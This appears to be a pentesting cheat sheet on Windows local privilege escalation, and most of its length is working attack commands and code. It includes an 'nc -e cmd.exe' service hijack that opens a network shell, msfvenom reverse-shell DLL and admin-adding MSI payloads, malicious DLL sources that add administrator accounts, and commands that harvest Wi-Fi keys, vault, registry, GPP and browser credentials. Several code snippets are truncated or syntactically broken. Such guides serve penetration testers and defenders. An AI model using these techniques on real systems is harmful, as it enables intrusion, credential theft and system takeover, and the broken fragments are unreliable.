Windows Local Privilege Escalation

Best tool to look for Windows local privilege escalation vectors: WinPEAS

If you want to know about my latest modifications/additions, join the PEASS & HackTricks telegram group here.

Kernel exploits

Check if the Windows version has any known vulnerability (check also the patches applied).

systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

post/windows/gather/enum_patches post/multi/recon/local_exploit_suggester sherlock watson

Windows known vulnerabilities PoCs.

Vulnerable Drivers

Some vulnerable drivers?




Some credentials saved in the env variables?



LAPS allows you to manage the local Administrator password (which is randomised, unique, and changed regularly) on domain-joined computers. These passwords are centrally stored in Active Directory and restricted to authorised users using ACLs. Passwords are protected in transit from the client to the server using Kerberos v5 and AES.

reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled

When using LAPS, 2 new attributes appear in the computer objects of the domain: ms-msc-AdmPwd and ms-mcs-AdmPwdExpirationTime. These attributes contains the plain-text admin password and the expiration time. Then, in a domain environment, it could be interesting to check which users can read these attributes...

Audit Settings

These settings decide what is being logged, so you should pay attention

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit


Windows Event Forwarding, is interesting to know where are the logs sent

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager


Check is there is any anti virus running:

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List | more

Users & Groups

You should check if any of the groups where you belong have interesting permissions

net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges
# PS
Get-WmiObject -Class Win32_UserAccount

Get the content of the clipboard

powershell -command "Get-Clipboard"

Token manipulation

Learn more about what is a token in this page: Windows Tokens. Take a look to available privileges, some of them can give you SYSTEM privileges. Take a look to this amazing paper.

SeImpersonatePrivilege (3.1.1)

Any process holding this privilege can impersonate (but not create) any token for which it is able to gethandle. You can get a privileged token from a Windows service (DCOM) making it perform an NTLM authentication against the exploit, then execute a process as SYSTEM. Exploit it with juicy-potato, RogueWinRM (needs winrm enabled), SweetPotato, PrintSpoofer.

SeAssignPrimaryPrivilege (3.1.2)

It is very similar to SeImpersonatePrivilege, it will use the same method to get a privileged token. Then, this privilege allows to assign a primary token to a new/suspended process. With the privileged impersonation token you can derivate a primary token (DuplicateTokenEx). With the token, you can create a new process with 'CreateProcessAsUser' or create a process suspended and set the token (in general, you cannot modify the primary token of a running process).

SeTcbPrivilege (3.1.3)

If you have enabled this token you can use KERB_S4U_LOGON to get an impersonation token for any other user without knowing the credentials, add an arbitrary group (admins) to the token, set the integrity level of the token to "medium", and assign this token to the current thread (SetThreadToken).

SeBackupPrivilege (3.1.4)

This privilege causes the system to grant all read access control to any file (only read). Use it to read the password hashes of local Administrator accounts from the registry and then use "psexec" or "wmicexec" with the hash (PTH). This attack won't work if the Local Administrator is disabled, or if it is configured that a Local Admin isn't admin if he is connected remotely. You can abuse this privilege with: or with

SeRestorePrivilege (3.1.5)

Write access control to any file on the system, regardless of the files ACL. You can modify services, DLL Hijacking, set debugger (Image File Execution Options)… A lot of options to escalate.

SeCreateTokenPrivilege (3.1.6)

This token can be used as EoP method only if the user can impersonate tokens (even without SeImpersonatePrivilege). In a possible scenario, a user can impersonate the token if it is for the same user and the integrity level is less or equal to the current process integrity level. In this case, the user could create an impersonation token and add to it a privileged group SID.

SeLoadDriverPrivilege (3.1.7)

Load and unload device drivers. You need to create an entry in the registry with values for ImagePath and Type. As you don't have access to write to HKLM, you have to use HKCU. But HKCU doesn't mean anything for the kernel, the way to guide the kernel here and use the expected path for a driver config is to use the path: "\Registry\User\S-1-5-21-582075628-3447520101-2530640108-1003\System\CurrentControlSet\Services\DriverName" (the ID is the RID of the current user). So, you have to create all that path inside HKCU and set the ImagePath (path to the binary that is going to be executed) and Type (SERVICE_KERNEL_DRIVER 0x00000001). Learn how to exploit it here.

SeTakeOwnershipPrivilege (3.1.8)

This privilege is very similar to SeRestorePrivilege. It allows a process to “take ownership of an object without being granted discretionary access” by granting the WRITE_OWNER access right. First, you have to take ownership of the registry key that you are going to write on and modify the DACL so you can write on it.

SeDebugPrivilege (3.1.9)

It allows the holder to debug another process, this includes reading and writing to that process' memory. There are a lot of various memory injection strategies that can be used with this privilege that evade a majority of AV/HIPS solutions.

Check privileges

whoami /priv


Check for restricted services from the outside

netstat -ano #Opened ports?

More commands for network enumeration here


Check all the installed software, maybe you can overwrite some binary or perform some DLL Hijacking by creating a DLL in the same folder.

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Run at startup

Check if you can overwrite some binary that is going to be executed by other user.

wmic startup get caption,command 2>nul & ^
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run 2>nul & ^
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>nul & ^
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run 2>nul & ^
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>nul & ^
dir /b "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" 2>nul & ^
dir /b "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" 2>nul & ^
dir /b "%programdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul & ^
dir /b "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul
schtasks /query /fo TABLE /nh | findstr /v /i "disable deshab"
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup"
Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"

Check which files are executed when the computer is started. Components that are executed when a user logins can be exploited to execute malicious code when the administrator logins.

autorunsc.exe -m -nobanner -a * -ct /accepteula

Running processes

Check if you can overwrite some binary running or if you can dump the memory of any process containing passwords.

Tasklist /SVC #List processes running and services
#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Checking permissions of the processes binaries

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.

Checking permissions of the folders of the processes binaries (dll injection)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.

Memory Password mining

You can create a memory dump of a running process using procdump from sysinternals. Services like FTP have the credentials in clear text in memory, try to dump the memory and read the credentials.

procdump.exe -accepteula -ma <proc_name_tasklist>


Get a list of services:

net start
wmic service list brief
sc query


You can use sc to get information of a service

sc qc <service_name>

It is recommended to have the binary accesschk from Sysinternals to check the required privilege level for each service.

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

It is recommended to check if "Authenticated Users" can modify any service:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

You can download accesschk.exe for XP for here

Enable service

If you are having this error (for example with SSDPSRV):

System error 1058 has occurred. The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.

You can enable it using

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Take into account that the service upnphost depends on SSDPSRV to work (for XP SP1)

Modify service binary path

If the group "Authenticated users" has SERVICE_ALL_ACCESS in a service, then it can modify the binary that is being executed by the service. To modify it and execute nc you can do:

sc config <Service_Name> binpath= "C:\nc.exe -nv 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Restart service

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

Other Permissions can be used to escalate privileges: SERVICE_CHANGE_CONFIG Can reconfigure the service binary WRITE_DAC: Can reconfigure permissions, leading to SERVICE_CHANGE_CONFIG WRITE_OWNER: Can become owner, reconfigure permissions GENERIC_WRITE: Inherits SERVICE_CHANGE_CONFIG GENERIC_ALL: Inherits SERVICE_CHANGE_CONFIG

To detect and exploit this vulnerability you can use exploit/windows/local/service_permissions

Services binaries weak permissions

Check if you can modify the binary that is executed by a service.

You can get every binary that is executed by a service using wmic (not in system32) and check your permissions using icacls:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

You can also use sc and icacls:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Services registry permissions

You should check if you can modify any service registry. You can check your permissions over a service registry doing:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\ 2>nul & reg save %a %temp%\ 2>nul && reg restore %a %temp%\ 2>nul && echo You can modify %a
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Check if Authenticated Users or NT AUTHORITY\INTERACTIVE have FullControl. In that case you can change the binary that is going to be executed by the service.

To change the Path of the binary executed:

reg add HKLM\SYSTEM\CurrentControlSet\srevices\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Unquoted Service Paths

If the path to an executable is not inside quotes, Windows will try to execute every ending before a space.

For example, for the path C:\Program Files\Some Folder\Service.exe Windows will try to execute:

C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

To list all unquoted service paths (minus built-in Windows services)

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v """ #Not only auto services
#Other way
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

You can detect and exploit this vulnerability with metasploit: exploit/windows/local/trusted_service_path

You can manually create a service binary with metasploit:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

DLL Hijacking

Programs usually can't function by themselves, they have a lot of resources they need to hook into (mostly DLL's but also proprietary files). If a program or service loads a file from a directory we have write access to, we can abuse that to pop a shell with the privileges the program runs with.

Generally, a Windows application will use pre-defined search paths to find DLL's and it will check these paths in a specific order. DLL hijacking usually happens by placing a malicious DLL in one of these paths while making sure that DLL is found before the legitimate one. This problem can be mitigated by having the application specify absolute paths to the DLL's that it needs.

You can see the DLL search order on 32-bit systems below: 1 - The directory from which the application loaded 2 - 32-bit System directory (C:\Windows\System32) 3 - 16-bit System directory (C:\Windows\System) 4 - Windows directory (C:\Windows) 5 - The current working directory (CWD) 6 - Directories in the PATH environment variable (first system and then user)

It sometimes happens that applications attempt to load DLLs that do not exist on the machine. Then, if you can write inside any of the folders where Windows is going to look for the DLL, you can make the vulnerable binary to execute arbitrary code.

You can check your permissions inside a folder doing:

accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"

Check permissions of all folders inside PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Create malicious DLL:

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=4444 -f dll -o msf.dll

Compile your own malicious DLL:

// Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
system("whoami > C:\\users\\username\\whoami.txt");
WinExec("calc.exe", 0); //This doesn't accept redirections like system
return TRUE;
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
if (dwReason == DLL_PROCESS_ATTACH){
system("cmd.exe /k net localgroup administrators user /add");
return TRUE;
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a
#include <windows.h>
int owned()
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
return 0;
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
return 0;
//Another possible DLL
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll
void Entry (){ //Default function that is executed when the DLL is loaded
BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call){
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
return TRUE;

To find out if a program doesn't find any DLL you can use procdump setting as filter the Process Name (like binary.exe). Then CTRL+H set Result and as text NAME NOT FOUND. Finally execute the binary/service (sc start service)

You can also find installation programs that search for unexistant DLLs. If you could set that DLL in the directory where the installator is going to be executed, you will be able to escalate privileges.

Look the PowerSploit functions: Find-ProcessDLLHijack, Find-PathDLLHijack and Write-HijackDll

TODO: Find a way to look for DLLs that a binary tries to load but are not presented in the system. Find a way to search for executable binaries inside folders that you can write. Read:


I have created this plugin to automatically execute every metasploit POST module that searches for credentials inside the victim.

Credentials manager / Windows vault

From The Windows Vault stores user credentials for servers, websites and other programs that Windows can log in the users automatically. At first instance, this might look like now users can store their Facebook credentials, Twitter credentials, Gmail credentials etc., so that they automatically log in via browsers. But it is not so.

Windows Vault stores credentials that Windows can log in the users automatically, which means that any Windows application that needs credentials to access a resource (server or a website) can make use of this Credential Manager & Windows Vault and use the credentials supplied instead of users entering the username and password all the time.

Unless the applications interact with Credential Manager, I don't think it is possible for them to use the credentials for a given resource. So, if your application wants to make use of the vault, it should somehow communicate with the credential manager and request the credentials for that resource from the default storage vault.

cmdkey /list #List credential
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentials


In theory, the Data Protection API can enable symmetric encryption of any kind of data; in practice, its primary use in the Windows operating system is to perform symmetric encryption of asymmetric private keys, using a user or system secret as a significant contribution of entropy.

DPAPI allows developers to encrypt keys using a symmetric key derived from the user's logon secrets, or in the case of system encryption, using the system's domain authentication secrets.

The DPAPI keys used for encrypting the user's RSA keys are stored under %APPDATA%\Microsoft\Protect\{SID} directory, where {SID} is the Security Identifier of that user. The DPAPI key is stored in the same file as the master key that protects the users private keys. It usually is 64 bytes of random data. (Notice that this directory is protected so you cannot list it usingdir from the cmd, but you can list it from PS).

Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\

You can use mimikatz module dpapi::masterkey with the appropiate arguments (/pvk or /rpc) to decrypt it.

The credentials files protected by the master password are usually located in:

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

You can use mimikatz module dpapi::cred with the appropiate /masterkey to decrypt. You can extract many DPAPI masterkeys from memory with the sekurlsa::dpapi module (if you are root).


#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear


AppCmd.exe is located in the %systemroot%\system32\inetsrv\ directory. If this file exists then it is possible that some credentials have been configured and can be recovered.

This code was extracted from PowerUP:

function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"
# Check if appcmd.exe exists
if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable
# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")
# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
# Get application pool name
$PoolName = $_
# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd
# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd
# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /" | ForEach-Object {
# Get Virtual Directory Name
$VdirName = $_
# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd
# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd
# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$ErrorActionPreference = $OrigError

SSH keys in registry

SSH private keys can be stored inside the registry key HKCU\Software\OpenSSH\Agent\Keys so you should check if there is anything interesting in there:

reg query HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys

If you find any entry inside that path it will probably be a saved SSH key. It is stored encrypted but can be easily decrypted using

More information about this technique here:

SCClient / SCCM

Check if C:\Windows\CCM\SCClient.exe exists . Installers are run with SYSTEM privileges, many are vulnerable to DLL Sideloading (Info from

$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

Remote Desktop Credential Manager

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Use the Mimikatz dpapi::rdg module with appropriate /masterkey to decrypt any .rdg files You can extract many DPAPI masterkeys from memory with the Mimikatz sekurlsa::dpapi module

Common files with credentials

Unattended files


SAM & SYSTEM backups


McAffe SiteList.xml

Search for a file called SiteList.xml

Cached GPP Pasword

Before KB2928120 (see MS14-025), some Group Policy Preferences could be configured with a custom account. This feature was mainly used to deploy a custom local administrator account on a group of machines. There were two problems with this approach though. First, since the Group Policy Objects are stored as XML files in SYSVOL, any domain user can read them. The second problem is that the password set in these GPPs is AES256-encrypted with a default key, which is publicly documented. This means that any authenticated user could potentially access very sensitive data and elevate their privileges on their machine or even the domain. This function will check whether any locally cached GPP file contains a non-empty "cpassword" field. If so, it will decrypt it and return a custom PS object containing some information about the GPP along with the location of the file.

Search in C:\ProgramData\Microsoft\Group Policy\history or in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (previous to W Vista) for these files:

  • Groups.xml

  • Services.xml

  • Scheduledtasks.xml

  • DataSources.xml

  • Printers.xml

  • Drives.xml

To decrypt the cPassword:

#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

Cloud Credentials

##From user home

More possible files with credentials

Known files that some time ago contained passwords in clear-text or Base64

vnc.ini, ultravnc.ini, *vnc*
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
key3.db #Firefox
key4.db #Firefox
places.sqlite #Firefox
"Login Data" #Chrome
Cookies #Chrome
Bookmarks #Chrome
History #Chrome
TypedURLsTime #IE
TypedURLs #IE

Example of web.config with credentials:

<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />

Search all of the proposed files:

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == SCClient.exe == *_history == .sudo_as_admin_successful == .profile == *bashrc == httpd.conf == *.plan == .htpasswd == .git-credentials == *.rhosts == hosts.equiv == Dockerfile == docker-compose.yml == appcmd.exe == TypedURLs == TypedURLsTime == History == Bookmarks == Cookies == "Login Data" == places.sqlite == key3.db == key4.db == credentials == credentials.db == access_tokens.db == accessTokens.json == legacy_credentials == azureProfile.json == unattend.txt == access.log == error.log == *.gpg == *.pgp == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12 == *.der == *.csr == *.cer == known_hosts == id_rsa == id_dsa == *.ovpn == anaconda-ks.cfg == hostapd.conf == rsyncd.conf == cesi.conf == supervisord.conf == tomcat-users.xml == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == unattend.xml == unattended.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == groups.xml == services.xml == scheduledtasks.xml == printers.xml == drives.xml == datasources.xml == php.ini == https.conf == https-xampp.conf == httpd.conf == my.ini == my.cnf == access.log == error.log == server.xml == SiteList.xml == ConsoleHost_history.txt == setupinfo == setupinfo.bak 2>nul | findstr /v ".dll"
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

If the server is a IIS server, check the contents of the folder

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Check Logs (IIS, Apache)

Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

It is also a good idea to search for files that contain specific words (like password)

#Search suspicious files from filename
dir /s /W *pass* == *cred* == *vnc* == *.config* | findstr /i/v "\\windows"
#Search suspicious files from content
findstr /D:C:\ /si password *.xml *.ini *.txt #A lot of output can be generated
findstr /D:C:\ /M /SI password *.xml *.ini *.txt 2>nul | findstr /V /I "\\AppData\\Local \\WinXsX ApnDatabase.xml \\UEV\\InboxTemplates \\Microsoft.Windows.CloudExperienceHost" 2>nul #filtered output

post/windows/gather/credentials/* post/windows/gather/enum_unattend

Home credentials files

You should also look inside the home folder for files called *password* or *credential* ot something similar.

Credentials in the RecycleBin

You should also check the Bin to look for credentials inside it

To recover passwords saved by several programs you can use:

Inside the registry

Winlogon credentials

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

Other possible registry keys with credentials

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" #Autologin
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s #Check the values saved in each session, user/password could be there
reg query "HKCU\Software\OpenSSH\Agent\Key"
# Search for passwords inside all the registry
reg query HKLM /f password /t REG_SZ /s #Look for registries that contains "password"
reg query HKCU /f password /t REG_SZ /s #Look for registries that contains "password"

Extract openssh keys from registry.

The tool SessionGopher search for sessions, usernames and passwords of several tools that save this data in clear text (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP)

Invoke-SessionGopher -Thorough

Browsers History

You should check for dbs where passwords from Chrome or Firefox are stored. Also check for the history, bookmarks and favourites of the browsers so maybe some passwords are stored there.

Tools to extract passwords from browsers:


If this setting is enabled it allows users of any privilege level to install *.msi files as NT AUTHORITY\SYSTEM.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

To exploit it you can create a backdoor with metasploit:

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

To execute the installation of the malicious msi file in background:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

To exploit this vulnerability you can use: exploit/windows/local/always_install_elevated


You can compromise the system if the updates are not requested using httpS but http.

You start by checking if the network uses a non-SSL WSUS update by running the following:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

If you get a reply such as:


And if HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer is equals to 1.

Then, it is exploitable. If the last registry is equals to 0, then, the WSUS entry will be ignored.

You can use: Wsuxploit - This is a MiTM weaponized exploit script to inject 'fake' updates into non-SSL WSUS traffic.

Write Permissions

Check if you can modify some config file to read some special file or if you can modify some binary that is going to be executed by an Administrator account (schedtasks).

A way to find weak folder/files permissions in the system is doing:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}


If you have GUI access, check for GUI apps running as SYSTEM because maybe you can open cmc.exe and get an elevated shell.

From Administrator to SYSTEM

Windows XP/2000/2003

Having a cmd as Administrator you can become SYSTEM using at. In those versions of Windows the commands executed by at where executes with SYSTEM privileges.

at 01:23 /interactive cmd.exe

Check UAC

If the results read ENABLELUA REG_DWORD 0x1, part or all of the UAC components are still on

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

Basic UAC bypass (full file system access)

If you have a shell with a user that is inside the Administrators group you can mount the C$ shared via SMB (file system) locally in a new disk and you will have access to everything inside the file system (even Administrator home folder)

net use Z: \\\c$
cd C$

Or you could just access it:

dir \\\c$\Users\Administrator\Desktop


Tool to bypass UAC:

